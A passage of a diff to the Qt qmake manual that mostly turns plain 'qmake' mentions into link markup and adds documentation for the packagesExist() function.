+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CFLAGS_THREAD
@@ -2069,7 +2079,7 @@
This variable contains the compiler flags for creating a multi-threaded
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CFLAGS_WARN_OFF
@@ -2077,7 +2087,7 @@
This variable is not empty if the warn_off
\l{#CONFIG}{CONFIG} option is specified. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_CFLAGS_WARN_ON
@@ -2086,7 +2096,7 @@
This variable is not empty if the warn_on
\l{#CONFIG}{CONFIG} option is specified.
The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CLEAN
@@ -2105,7 +2115,7 @@
\section1 QMAKE_CXXFLAGS
This variable contains the C++ compiler flags that are used when building
- a project. The value of this variable is typically handled by \c qmake or
+ a project. The value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The flags
specific to debug and release modes can be adjusted by modifying
the \c QMAKE_CXXFLAGS_DEBUG and \c QMAKE_CXXFLAGS_RELEASE variables,
@@ -2125,7 +2135,7 @@
This variable contains the C++ compiler flags for creating a debuggable
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT
@@ -2133,7 +2143,7 @@
This variable contains the C++ compiler flags for creating a multi-threaded
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT_DBG
@@ -2141,7 +2151,7 @@
This variable contains the C++ compiler flags for creating a debuggable multi-threaded
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT_DLL
@@ -2151,7 +2161,7 @@
This variable contains the C++ compiler flags for creating a multi-threaded
dll. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT_DLLDBG
@@ -2161,7 +2171,7 @@
This variable contains the C++ compiler flags for creating a multi-threaded debuggable
dll. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_RELEASE
@@ -2169,7 +2179,7 @@
This variable contains the C++ compiler flags for creating an
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_SHLIB
@@ -2177,7 +2187,7 @@
This variable contains the C++ compiler flags for creating a
shared library. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_THREAD
@@ -2185,21 +2195,21 @@
This variable contains the C++ compiler flags for creating a
multi-threaded application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_WARN_OFF
\section1 QMAKE_CXXFLAGS_WARN_OFF
This variable contains the C++ compiler flags for suppressing compiler warnings.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CXXFLAGS_WARN_ON
\section1 QMAKE_CXXFLAGS_WARN_ON
This variable contains C++ compiler flags for generating compiler warnings.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_DISTCLEAN
@@ -2211,7 +2221,7 @@
\section1 QMAKE_EXTENSION_SHLIB
This variable contains the extention for shared libraries. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
Note that platform-specific variables that change the extension will override
@@ -2285,15 +2295,15 @@
\section1 QMAKE_FAILED_REQUIREMENTS
This variable contains the list of requirements that were failed to be met when
- \c qmake was used. For example, the sql module is needed and wasn't compiled into Qt. The
- value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ \l {qmake}{ \c qmake}was used. For example, the sql module is needed and wasn't compiled into Qt. The
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_FILETAGS
\section1 QMAKE_FILETAGS
This variable contains the file tags needed to be entered into the Makefile, such as SOURCES
- and HEADERS. The value of this variable is typically handled by \c qmake or
+ and HEADERS. The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_FRAMEWORK_BUNDLE_NAME
@@ -2329,7 +2339,7 @@
This variable contains the location of all known header files to be added to
INCLUDEPATH when building an application. The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+ typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
needs to be modified.
\target QMAKE_INCDIR_EGL
@@ -2338,14 +2348,14 @@
This variable contains the location of EGL header files to be added
to INCLUDEPATH when building an application with OpenGL/ES or
OpenVG support. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INCDIR_OPENGL
\section1 QMAKE_INCDIR_OPENGL
This variable contains the location of OpenGL header files to be added
to INCLUDEPATH when building an application with OpenGL support. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2357,7 +2367,7 @@
to INCLUDEPATH when building an application with OpenGL ES 1
or OpenGL ES 2 support respectively.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2368,7 +2378,7 @@
This variable contains the location of OpenVG header files to be added
to INCLUDEPATH when building an application with OpenVG support. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenVG implementation uses EGL then QMAKE_INCDIR_EGL may also
@@ -2379,7 +2389,7 @@
This variable contains the location of all known header file
paths to be added to INCLUDEPATH when building a Qt application. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INCDIR_THREAD
@@ -2387,7 +2397,7 @@
This variable contains the location of all known header file
paths to be added to INCLUDEPATH when building a multi-threaded application.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INCDIR_X11
@@ -2397,7 +2407,7 @@
This variable contains the location of X11 header file paths to be
added to INCLUDEPATH when building a X11 application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INFO_PLIST
@@ -2428,7 +2438,7 @@
This variable contains link flags when building console
programs. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_CONSOLE_DLL
@@ -2437,19 +2447,19 @@
This variable contains link flags when building console
dlls. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_DEBUG
This variable contains link flags when building debuggable applications. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_PLUGIN
This variable contains link flags when building plugins. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_RPATH
@@ -2463,25 +2473,25 @@
This variable contains link flags when building programs that
use the Qt library built as a dll. The value of this variable is
- typically handled by \c qmake or
+ typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_RELEASE
This variable contains link flags when building applications for
release. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_SHAPP
This variable contains link flags when building applications which are using
the \c app template. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_SHLIB
This variable contains link flags when building shared libraries
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_SONAME
@@ -2493,7 +2503,7 @@
\section1 QMAKE_LFLAGS_THREAD
This variable contains link flags when building multi-threaded projects.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_WINDOWS
@@ -2502,7 +2512,7 @@
This variable contains link flags when building Windows GUI projects
(i.e. non-console applications).
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_WINDOWS_DLL
@@ -2510,14 +2520,14 @@
\e {This is used on Windows only.}
This variable contains link flags when building Windows DLL projects.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR
This variable contains the location of all known library
directories.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_FLAGS
@@ -2526,21 +2536,21 @@
This variable contains the location of all library
directory with -L prefixed. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_EGL
This variable contains the location of the EGL library
directory, when EGL is used with OpenGL/ES or OpenVG. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_OPENGL
This variable contains the location of the OpenGL library
directory.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2550,7 +2560,7 @@
This variable contains the location of the OpenVG library
directory. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenVG implementation uses EGL, then QMAKE_LIBDIR_EGL
@@ -2560,7 +2570,7 @@
This variable contains the location of the Qt library
directory.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_X11
@@ -2569,13 +2579,13 @@
This variable contains the location of the X11 library
directory.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS
This variable contains all project libraries. The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_CONSOLE
@@ -2591,13 +2601,13 @@
This variable contains all EGL libraries when building Qt with
OpenGL/ES or OpenVG. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+ handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
needs to be modified. The usual value is \c{-lEGL}.
\section1 QMAKE_LIBS_OPENGL
This variable contains all OpenGL libraries. The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2606,7 +2616,7 @@
\section1 QMAKE_LIBS_OPENGL_QT
This variable contains all OpenGL Qt libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2
@@ -2614,7 +2624,7 @@
These variables contain all the OpenGL libraries for OpenGL ES 1
and OpenGL ES 2.
- The value of these variables is typically handled by \c qmake or
+ The value of these variables is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2623,7 +2633,7 @@
\section1 QMAKE_LIBS_OPENVG
This variable contains all OpenVG libraries. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified. The usual value is \c{-lOpenVG}.
Some OpenVG engines are implemented on top of OpenGL. This will
@@ -2636,7 +2646,7 @@
\section1 QMAKE_LIBS_QT
This variable contains all Qt libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_QT_DLL
@@ -2644,21 +2654,21 @@
\e {This is used on Windows only.}
This variable contains all Qt libraries when Qt is built as a dll. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_QT_OPENGL
This variable contains all the libraries needed to link against if
OpenGL support is turned on. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_QT_THREAD
This variable contains all the libraries needed to link against if
thread support is turned on. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_RT
@@ -2667,7 +2677,7 @@
This variable contains the runtime library needed to link against when
building an application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_RTMT
@@ -2676,7 +2686,7 @@
This variable contains the runtime library needed to link against when
building a multi-threaded application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_THREAD
@@ -2685,7 +2695,7 @@
This variable contains all libraries that need to be linked against
when building a multi-threaded application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_WINDOWS
@@ -2693,7 +2703,7 @@
\e {This is used on Windows only.}
This variable contains all windows libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_X11
@@ -2701,7 +2711,7 @@
\e {This is used on Unix platforms only.}
This variable contains all X11 libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_X11SM
@@ -2709,20 +2719,20 @@
\e {This is used on Unix platforms only.}
This variable contains all X11 session management libraries. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIB_FLAG
This variable is not empty if the \c lib template is specified. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LINK_SHLIB_CMD
This variable contains the command to execute when creating a
shared library. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LN_SHLIB
@@ -2752,7 +2762,8 @@
This variable determines the name of the project when generating project
files for IDEs. The default value is the target name. The value of this
- variable is typically handled by \c qmake and rarely needs to be modified.
+ variable is typically handled by \l {qmake}{ \c qmake} and rarely needs
+ to be modified.
\section1 QMAKE_MAC_SDK
@@ -2772,26 +2783,26 @@
\section1 QMAKE_MAKEFILE
This variable contains the name of the Makefile to create. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_MOC_SRC
This variable contains the names of all moc source files to
generate and include in the project. The value of this variable is
- typically handled by \c qmake or
+ typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_QMAKE
This variable contains the location of qmake if it is not in the path.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_QT_DLL
This variable is not empty if Qt was built as a dll. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RESOURCE_FLAGS
@@ -2821,37 +2832,37 @@
\section1 QMAKE_RUN_CC
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RUN_CC_IMP
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RUN_CXX
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RUN_CXX_IMP
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_TARGET
This variable contains the name of the project target. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_UIC
This variable contains the location of uic if it is not in the path.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
It can be used to specify arguments to uic as well, such as additional plugin
@@ -2924,7 +2935,7 @@
\section1 RC_FILE
This variable contains the name of the resource file for the application.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target RCC_DIR
@@ -2957,7 +2968,7 @@
\section1 RES_FILE
This variable contains the name of the resource file for the application.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target RSS_RULES
@@ -3048,10 +3059,10 @@
\section1 SRCMOC
- This variable is set by \c qmake if files can be found that
+ This variable is set by \l {qmake}{ \c qmake}if files can be found that
contain the Q_OBJECT macro. \c SRCMOC contains the
name of all the generated moc files. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target SUBDIRS
@@ -3067,7 +3078,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 50
It is essential that the project file in each subdirectory has the same
- name as the subdirectory itself, so that \c qmake can find it.
+ name as the subdirectory itself, so that \l {qmake}{ \c qmake}can find it.
For example, if the subdirectory is called \c myapp then the project file
in that directory should be called \c myapp.pro.
@@ -3199,19 +3210,19 @@
\section1 TARGET_EXT
This variable specifies the target's extension. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\section1 TARGET_x
This variable specifies the target's extension with a major version number. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\section1 TARGET_x.y.z
This variable specifies the target's extension with version number. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target TEMPLATE
@@ -3259,14 +3270,14 @@
This variable contains a list of the generated implementation files by UIC.
The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\section1 UICOBJECTS
This variable is generated from the UICIMPLS variable. The extension of each
file will have been replaced by .o (Unix) or .obj (Win32). The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target UI_DIR
@@ -3328,8 +3339,8 @@
\section1 VPATH
- This variable tells \c qmake where to search for files it cannot
- open. With this you may tell \c qmake where it may look for things
+ This variable tells \l {qmake}{ \c qmake}where to search for files it cannot
+ open. With this you may tell \l {qmake}{ \c qmake}where it may look for things
like SOURCES, and if it finds an entry in SOURCES that cannot be
opened it will look through the entire VPATH list to see if it can
find the file on its own.
@@ -3339,13 +3350,13 @@
\section1 YACCIMPLS
This variable contains a list of yacc source files. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 YACCOBJECTS
This variable contains a list of yacc object files. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target YACCSOURCES
@@ -3386,7 +3397,7 @@
\previouspage qmake Variable Reference
\nextpage Configuring qmake's Environment
- \c qmake provides built-in functions to allow the contents of
+ \l {qmake}{ \c qmake}provides built-in functions to allow the contents of
variables to be processed, and to enable tests to be performed
during the configuration process. Functions that process the
contents of variables typically return values that can be assigned
@@ -3397,6 +3408,19 @@
\tableofcontents{2}
+ \section1 packagesExist(packages)
+
+ Uses the PKGCONFIG mechanism to determine whether or not the given packages
+ exist at the time of project parsing.
+
+ This can be useful to optionally enable or disable features. For example:
+
+ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 157
+
+ And then, in the code:
+
+ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 158
+
\section1 basename(variablename)
Returns the basename of the file specified. For example:
@@ -3457,7 +3481,7 @@
\section1 error(string)
- This function never returns a value. \c qmake displays the given
+ This function never returns a value. \l {qmake}{ \c qmake}displays the given
\e string to the user, and exits. This function should only be used
for unrecoverable errors.
@@ -3533,7 +3557,7 @@
\section1 infile(filename, var, val)
[Conditional]
- Succeeds if the file \e filename (when parsed by \c qmake itself)
+ Succeeds if the file \e filename (when parsed by \l {qmake}{ \c qmake}itself)
contains the variable \e var with a value of \e val; otherwise fails.
If you do not specify a third argument (\e val), the function will
only test whether \e var has been declared in the file.
@@ -3655,7 +3679,7 @@
\target Properties
\section1 Properties
- \c qmake has a system of persistent information, this allows you to
+ \l {qmake}{ \c qmake}has a system of persistent information, this allows you to
\c set a variable in qmake once, and each time qmake is invoked this
value can be queried. Use the following to set a property in qmake:
@@ -3677,19 +3701,19 @@
version of \c qmake, and newer versions will retrieve this value. However,
if you set \c VARIABLE for a newer version of \c qmake, the older version
will not use this value. You can however query a specific version of a
- variable if you prefix that version of \c qmake to \c VARIABLE, as in
+ variable if you prefix that version of \l {qmake}{ \c qmake}to \c VARIABLE, as in
the following example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 76
- \c qmake also has the notion of \c builtin properties, for example you can
- query the installation of Qt for this version of \c qmake with the
+ \l {qmake}{ \c qmake}also has the notion of \c builtin properties, for example you can
+ query the installation of Qt for this version of \l {qmake}{ \c qmake}with the
\c QT_INSTALL_PREFIX property:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 77
These built-in properties cannot have a version prefixed to them as
- they are not versioned, and each version of \c qmake will have its own
+ they are not versioned, and each version of \l {qmake}{ \c qmake}will have its own
built-in set of these values. The list below outlines the built-in
properties:
@@ -3707,7 +3731,7 @@
\target QMAKESPEC
\section1 QMAKESPEC
- \c qmake requires a platform and compiler description file which
+ \l {qmake}{ \c qmake}requires a platform and compiler description file which
contains many default values used to generate appropriate Makefiles.
The standard Qt distribution comes with many of these files, located
in the \c mkspecs subdirectory of the Qt installation.
@@ -3716,8 +3740,8 @@
\list
\o A complete path to a directory containing a \c{qmake.conf} file.
- In this case \c qmake will open the \c{qmake.conf} file from within that
- directory. If the file does not exist, \c qmake will exit with an
+ In this case \l {qmake}{ \c qmake}will open the \c{qmake.conf} file from within that
+ directory. If the file does not exist, \l {qmake}{ \c qmake}will exit with an
error.
\o The name of a platform-compiler combination. In this case, \c qmake
will search in the directory specified by the \c mkspecs subdirectory
@@ -3733,14 +3757,14 @@
It is common on Unix to also use the build tool to install applications
and libraries; for example, by invoking \c{make install}. For this reason,
- \c qmake has the concept of an install set, an object which contains
+ \l {qmake}{ \c qmake}has the concept of an install set, an object which contains
instructions about the way part of a project is to be installed.
For example, a collection of documentation files can be described in the
following way:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 79
- The \c path member informs \c qmake that the files should be installed in
+ The \c path member informs \l {qmake}{ \c qmake}that the files should be installed in
\c /usr/local/program/doc (the path member), and the \c files member
specifies the files that should be copied to the installation directory.
In this case, everything in the \c docs directory will be coped to
@@ -3751,10 +3775,10 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 80
- \c qmake will ensure that the specified files are copied to the installation
+ \l {qmake}{ \c qmake}will ensure that the specified files are copied to the installation
directory. If you require greater control over this process, you can also
provide a definition for the \c extra member of the object. For example,
- the following line tells \c qmake to execute a series of commands for this
+ the following line tells \l {qmake}{ \c qmake}to execute a series of commands for this
install set:
